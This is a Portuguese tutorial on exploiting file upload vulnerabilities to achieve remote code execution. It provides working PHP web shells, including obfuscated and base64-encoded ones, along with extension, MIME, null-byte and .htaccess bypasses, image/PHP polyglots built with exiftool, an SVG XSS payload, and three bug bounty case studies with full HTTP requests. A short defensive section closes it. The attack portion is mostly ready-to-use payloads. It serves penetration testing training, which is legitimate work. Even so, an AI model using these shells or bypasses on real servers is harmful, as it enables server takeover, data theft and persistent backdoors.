Exploração de upload de arquivos
Transformar uploads de arquivos inocentes em execução remota de código
O que você vai descobrir
🎯 Por que isso importa
Vulnerabilidades de upload de arquivos representam um dos caminhos mais diretos para execução remota de código em aplicações web. À medida que as aplicações dependem cada vez mais de conteúdo gerado pelo usuário e funcionalidade de compartilhamento de arquivos, essas vulnerabilidades se tornaram mais prevalentes e sofisticadas. Um ataque de upload de arquivo bem-sucedido pode levar ao comprometimento completo do servidor, exfiltração de dados e movimento lateral dentro de redes internas.
🔍 O que você vai aprender
Você entenderá como identificar vulnerabilidades de upload de arquivos e contornar filtragem baseada em extensão de arquivo, tipo MIME e conteúdo. Isso inclui criar web shells para várias tecnologias de servidor, explorar funcionalidade de upload de imagens usando arquivos polyglot e alcançar execução remota de código — as mesmas técnicas sistemáticas usadas por especialistas em segurança para avaliar a segurança de aplicações.
🚀 Sua primeira vitória
Nos próximos 10 minutos, você contornará com sucesso múltiplas restrições de upload de arquivo para fazer upload de um web shell PHP funcional, ganhando execução remota de comandos no servidor alvo e demonstrando o impacto crítico de validação inadequada de arquivos.
🔧 Experimente agora
Teste técnicas de bypass de upload de arquivo
# Criar um web shell PHP simples
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
# Salve como shell.php e tente fazer upload
# Se .php for bloqueado, tente alternativas:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
# Se extensões forem filtradas, tente:
shell.jpg.php (extensão dupla)
shell.PHP (manipulação de maiúsculas)
shell.php%00.jpg (null byte)
# Se tipo MIME for verificado, intercepte com Burp e altere:
Content-Type: image/jpeg
# Teste a execução:
http://<target>/uploads/shell.php?cmd=whoami
Você verá: Como diferentes técnicas de bypass funcionam contra vários mecanismos de validação. Essa abordagem prática revela por que validação em camadas é essencial e como testes sistemáticos encontram fraquezas.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Vetores de ataque de upload de arquivo e pontos de entrada
- Técnicas de bypass de validação server-side
- Desenvolvimento e implantação de web shells
- Criação e exploração de arquivos polyglot
🔍 Habilidades avançadas
- Evasão de filtros e técnicas de encoding
- Execução remota de código via inclusão de arquivo
- Métodos de pós-exploração e persistência
- Práticas de desenvolvimento seguro e validação
Entendendo vulnerabilidades de upload de arquivo
Vulnerabilidades de upload de arquivo ocorrem quando aplicações falham em validar adequadamente arquivos enviados
O problema fundamental é que aplicações frequentemente confiam em arquivos fornecidos pelo usuário sem validação adequada, permitindo que atacantes façam upload de conteúdo malicioso que pode ser executado no servidor. Isso se torna particularmente perigoso quando arquivos enviados são armazenados em diretórios acessíveis pela web e podem ser executados diretamente pelo servidor web.
Fraquezas comuns
Erros típicos de implementação de validação
Validação apenas client-side
Blacklist de extensões
Spoofing de tipo MIME
Validação de conteúdo fraca
Path traversal
Armazenamento inseguro de arquivos
Vetores de ataque
Métodos usados para explorar uploads de arquivo
Upload de web shell
Arquivos polyglot
Extensões duplas
Injeção de null byte
Abuso de extração ZIP
Injeção em metadados de imagem
Potencial de impacto
O que atacantes podem alcançar
Execução remota de código
Comprometimento completo do servidor
Exfiltração de dados
Movimento lateral
Defacement
Backdoors persistentes
Ferramentas e técnicas
A exploração de upload de arquivo depende principalmente de entender mecanismos de validação e criar payloads que os contornam, tornando esta uma habilidade que recompensa testes sistemáticos e resolução criativa de problemas.
Desenvolvimento de web shell: a técnica central
Web shells são o objetivo principal da exploração de upload de arquivo porque fornecem execução direta de comandos no servidor alvo, essencialmente transformando uma vulnerabilidade de upload de arquivo em acesso remoto.
Desenvolvimento de web shell PHP
# Web shell PHP básico
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
# Web shell avançado com recursos
<?php
if(isset($_POST['cmd'])) {
echo "<pre>" . shell_exec($_POST['cmd']) . "</pre>";
}
if(isset($_FILES['upload'])) {
$target = $_FILES['upload']['name'];
move_uploaded_file($_FILES['upload']['tmp_name'], $target);
echo "Arquivo enviado: " . $target;
}
?>
<html>
<body>
<h3>Web Shell</h3>
<form method="post">
<input type="text" name="cmd" placeholder="Comando" size="50">
<input type="submit" value="Executar">
</form>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Upload">
</form>
</body>
</html>
# Shell ofuscado para evadir detecção
<?php
$a = 'sys';
$b = 'tem';
$c = $a.$b;
if(isset($_GET['x'])) {
$c($_GET['x']);
}
?>
# Shell encodado em Base64
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>
Web shells fornecem a base para exploração adicional, permitindo que você explore o sistema de arquivos, escale privilégios e estabeleça acesso persistente.
Bypass de filtros: a vantagem do especialista
Entender como contornar vários mecanismos de validação é o que separa testes sistemáticos de tentativas aleatórias — isso requer conhecimento de como diferentes parsers e validadores funcionam.
Bypass de extensão e tipo MIME
# Técnicas de bypass de extensão
# Extensões alternativas (específicas do servidor)
PHP: .php, .php3, .php4, .php5, .phtml, .phar
ASP: .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP: .jsp, .jspx, .jsw, .jsv, .jspf
# Manipulação de maiúsculas/minúsculas
shell.php → shell.PHP, shell.Php, shell.pHp
# Extensões duplas
shell.jpg.php
shell.png.php5
shell.gif.phtml
# Injeção de null byte (sistemas antigos)
shell.php%00.jpg
shell.php\x00.png
# Spoofing de tipo MIME via Burp Suite
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg # Tipo MIME falsificado
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Bypass HTAccess (se upload de .htaccess for permitido)
AddType application/x-httpd-php .jpg
# Então faça upload de código PHP como arquivo .jpg
Essas técnicas de bypass funcionam porque a validação frequentemente verifica apenas um aspecto do arquivo, perdendo casos extremos e diferenças de parser.
Arquivos polyglot: exploração avançada
Arquivos polyglot aparecem como imagens válidas para verificações de validação mas contêm código executável, permitindo que você contorne validação baseada em conteúdo enquanto mantém a capacidade de ataque.
Criação de polyglot de imagem
# Polyglot GIF/PHP
GIF89a
<?php system($_GET['cmd']); ?>
# Polyglot JPEG/PHP (adicionar PHP após headers JPEG)
# Use editor hex para adicionar código PHP após estrutura JPEG válida
\xFF\xD8\xFF\xE0\x00\x10JFIF...\xFF\xD9
<?php system($_GET['cmd']); ?>
# Usando exiftool para injetar PHP em metadados de imagem
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php
# Polyglot PNG/PHP
# Criar PNG válido então anexar PHP
echo -e "\x89PNG\r\n\x1a\n" > polyglot.png
echo "<?php system(\$_GET['cmd']); ?>" >> polyglot.png
# Polyglot SVG/XSS
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
alert('XSS');
]]>
</script>
</svg>
# Arquivo ZIP com directory traversal
# Criar ZIP malicioso que extrai arquivos fora do diretório pretendido
Arquivos polyglot demonstram compreensão avançada de formatos de arquivo e como criar arquivos que satisfazem múltiplos validadores enquanto mantêm funcionalidade maliciosa.
Cenários de ataque do mundo real
Esses cenários são baseados em descobertas reais de bug bounty e CVEs por pesquisadores de segurança, demonstrando como vulnerabilidades de upload de arquivo se traduzem em comprometimentos do mundo real.
CVE-2019-19576: Bypass de filtro Class.upload.php (Crítico)
O pesquisador de segurança Jinny Ramsmark descobriu um bypass de filtro no class.upload.php <= 2.0.3 que permitia upload arbitrário de arquivo levando a RCE. Esta vulnerabilidade afetou numerosas aplicações incluindo a extensão Joomla K2. Fonte
# Passo 1: Identificar endpoint de upload vulnerável
# Alvo executando class.upload.php <= 2.0.3
# Comum em Joomla K2 e outras extensões CMS
# Passo 2: Descobrir bypass de extensão .phar
# Filtro de extensão bloqueava .php, .php3, .php4, .php5, .phtml
# Mas não incluía extensão .phar que executa como PHP em Debian/Ubuntu
# Passo 3: Criar polyglot de imagem com payload
# Usando ferramenta inject.php para embutir PHP em JPEG válido
php inject.php
# Gera image.jpg.phar com payload embutido
# Passo 4: Bypass de validação de conteúdo
# Arquivo contém headers JPEG válidos + payload PHP
# Passa pelo processamento imagecreatefromjpeg()
# Magic bytes: FF D8 FF E0 (JPEG válido)
# Passo 5: Upload de imagem maliciosa
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg.phar"
Content-Type: image/jpeg
[JPEG_HEADERS]<?php system($_GET['c']); ?>
------WebKitFormBoundary--
# Passo 6: Executar comandos
GET /images/image_resized.phar?c=uname%20-a
# Resposta: Detalhes do servidor Linux
GET /images/image_resized.phar?c=cat%20/etc/passwd
# Resposta: Usuários do sistema enumerados
# Resultado: RCE completo mantendo aparência de imagem válida
Impacto na linha do tempo: Reportado em 3 de dezembro de 2019; corrigido em 24 horas; afetou aplicações como Joomla K2 com instalações espalhadas pela web.
Caso de Bug Bounty: Bypass Base64 em upload de perfil
O pesquisador de segurança Akash A documentou uma vulnerabilidade de upload de perfil onde a filtragem server-side bloqueava palavras-chave "php" mas aceitava payloads encodados em base64, levando a uma recompensa significativa. Fonte
# Passo 1: Reconhecimento
# Identificar servidor Apache via Wappalyzer
# Localizar funcionalidade de upload de imagem de perfil
# Passo 2: Testar restrições iniciais
# Upload de arquivo .php bloqueado por validação client-side
# Interceptar com Burp Suite, mudar .jpg para .php
# Passo 3: Descobrir filtragem de palavras-chave
# Payload: <?php system($_GET['cmd']); ?> BLOQUEADO
# Servidor detecta palavra-chave "php" e rejeita upload
# Passo 4: Bypass com sintaxe encurtada
# Payload: <? system($_GET['cmd']); ?> ACEITO mas não executável
# Upload funciona mas execução falha
# Passo 5: Bypass por encoding Base64
# Criar payload encodado para evadir detecção de palavras-chave
# Original: echo shell_exec($_GET['cmd'].' 2>&1');
# Passo 6: Implantar payload final
POST /profile/upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?=eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
------WebKitFormBoundary--
# Passo 7: Alcançar RCE
GET /uploads/shell.php?cmd=whoami
# Resposta: www-data
# Resultado: Comprometimento completo do servidor via bypass de encoding
Reconhecimento de recompensa: Esta descoberta rendeu uma recompensa de bug bounty de quatro dígitos, destacando o impacto financeiro e severidade de vulnerabilidades de upload de arquivo em aplicações de produção.
Evolução de múltiplos bypasses: escalando severidade
O pesquisador de segurança Sagar Sajeev documentou um caso onde ele contornou correções de upload de arquivo três vezes consecutivas, cada uma rendendo recompensas separadas e demonstrando a complexidade do tratamento seguro de arquivos. Fonte
# Bypass #1: Manipulação de maiúsculas
# Restrição inicial: extensão .php bloqueada
filename="payload.pHp5" # Maiúsculas misturadas + extensão alternativa
# Resultado: CONTORNADO - Validação apenas client-side
# Equipe de segurança implanta correção...
# Bypass #2: Injeção de null byte
# Restrição melhorada: Filtragem de extensão server-side
filename="payload.php\x00.png" # Truncamento por null byte
Content-Type: image/png
# Resultado: CONTORNADO - Falha no tratamento de null byte
# Equipe de segurança implanta correção mais forte...
# Bypass #3: Magic bytes + evasão de filtro
# Restrição avançada: Validação de magic byte + filtragem de palavras-chave
# Descoberto: Backend remove '.php' dos nomes de arquivo
# Passo 1: Criar nome de arquivo para bypass de filtro
filename="payload.p.phphp" # Quando '.php' removido se torna 'payload.php'
# Passo 2: Adicionar magic bytes PNG para validação de conteúdo
# Passo 3: Upload e execução
POST /upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="payload.p.phphp"
Content-Type: image/png
[PNG_MAGIC_BYTES]<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Passo 4: Acessar arquivo renomeado
GET /uploads/payload.php?cmd=id
# Resposta: uid=33(www-data) gid=33(www-data)
# Hardening de segurança final: Ambiente sandbox implementado
# Nenhum bypass adicional descoberto
# Impacto total: Três recompensas separadas demonstrando
# a natureza iterativa de melhorias de segurança
Evolução de segurança: Este estudo de caso mostra como atacantes se adaptam a medidas de segurança, rendendo ao pesquisador três recompensas separadas ao longo de duas semanas até que sandboxing robusto fosse implementado.
Contramedidas defensivas
Proteção eficaz de upload de arquivo requer implementar múltiplas camadas de segurança que trabalham juntas para prevenir exploração. Essas contramedidas comprovadas são essenciais para ambientes de produção e são usadas por grandes organizações para proteger operações de tratamento de arquivos.
Defesa primária: validação de arquivo em múltiplas camadas
A base de uploads de arquivo seguros depende de validação abrangente em múltiplos pontos de verificação. Cada camada fornece segurança independente que atacantes devem contornar, tornando a exploração significativamente mais difícil.
- Whitelist de extensões (nunca blacklist) - Manter uma lista estrita de 3-5 extensões de arquivo permitidas no máximo, revisada trimestralmente e atualizada apenas quando requisitos de negócio exigem
- Verificação de tipo MIME - Validar headers de conteúdo usando bibliotecas server-side que examinam o conteúdo real do arquivo em vez de confiar em headers fornecidos pelo usuário
- Aplicação de limite de tamanho de arquivo - Implementar limites de tamanho estritos baseados em requisitos de negócio, tipicamente 2-5MB para imagens e 10MB para documentos no máximo
- Validação de estrutura de conteúdo - Usar bibliotecas especializadas para verificar integridade do formato de arquivo e detectar conteúdo malicioso embutido ou ataques polyglot
- Sanitização de nome de arquivo - Remover caracteres perigosos e substituir nomes de arquivo originais por nomes aleatórios criptograficamente seguros para prevenir directory traversal
Implementação crítica de segurança
Além da validação básica, essas medidas de segurança são obrigatórias para ambientes de produção e exigidas por frameworks de conformidade como SOC 2 e PCI DSS.
- Prevenção de execução no nível do servidor web - Configurar Apache, Nginx ou IIS para tratar todos os arquivos em diretórios de upload como conteúdo estático e prevenir execução de script através de restrições de handler
- Isolamento de armazenamento seguro - Armazenar arquivos enviados fora do web root sempre que possível, usando serviços de armazenamento dedicados ou diretórios isolados com permissões de acesso restritas
- Reprocessamento de arquivo e remoção de metadados - Reprocessar automaticamente imagens e documentos usando bibliotecas server-side para remover metadados potencialmente maliciosos e conteúdo embutido
- Integração de varredura de vírus e malware - Implementar varredura em tempo real usando soluções empresariais como ClamAV, Windows Defender ou APIs de antivírus comerciais antes do armazenamento de arquivo
- Aplicação de Content Security Policy - Aplicar headers CSP estritos ao servir conteúdo enviado pelo usuário para prevenir XSS e outros ataques client-side
Requisitos de estratégia de defesa em produção
- Múltiplas camadas de validação independentes - Cada controle de segurança deve funcionar independentemente para que contornar uma camada não comprometa a segurança geral
- Princípios de design fail-secure - Todas as falhas de validação devem resultar em rejeição de upload com logging detalhado em vez de permitir arquivos potencialmente perigosos
- Atualizações de segurança e monitoramento regulares - Manter versões atuais de todas as bibliotecas de processamento de arquivo e monitorar advisories de segurança para novos vetores de ataque
- Procedimentos de resposta a incidentes - Estabelecer procedimentos claros para responder a exploits de upload de arquivo bem-sucedidos incluindo contenção, análise e etapas de remediação
🎯 Você domina exploração de upload de arquivo!
Você agora entende como transformar uploads de arquivo inocentes em vetores de execução remota de código. Você pode contornar mecanismos de validação, criar web shells e explorar várias vulnerabilidades de processamento de arquivo usando as mesmas técnicas sistemáticas que especialistas em segurança usam para avaliar segurança de aplicações e alcançar comprometimento completo do servidor.
Pronto para proteger aplicações web contra vulnerabilidades críticas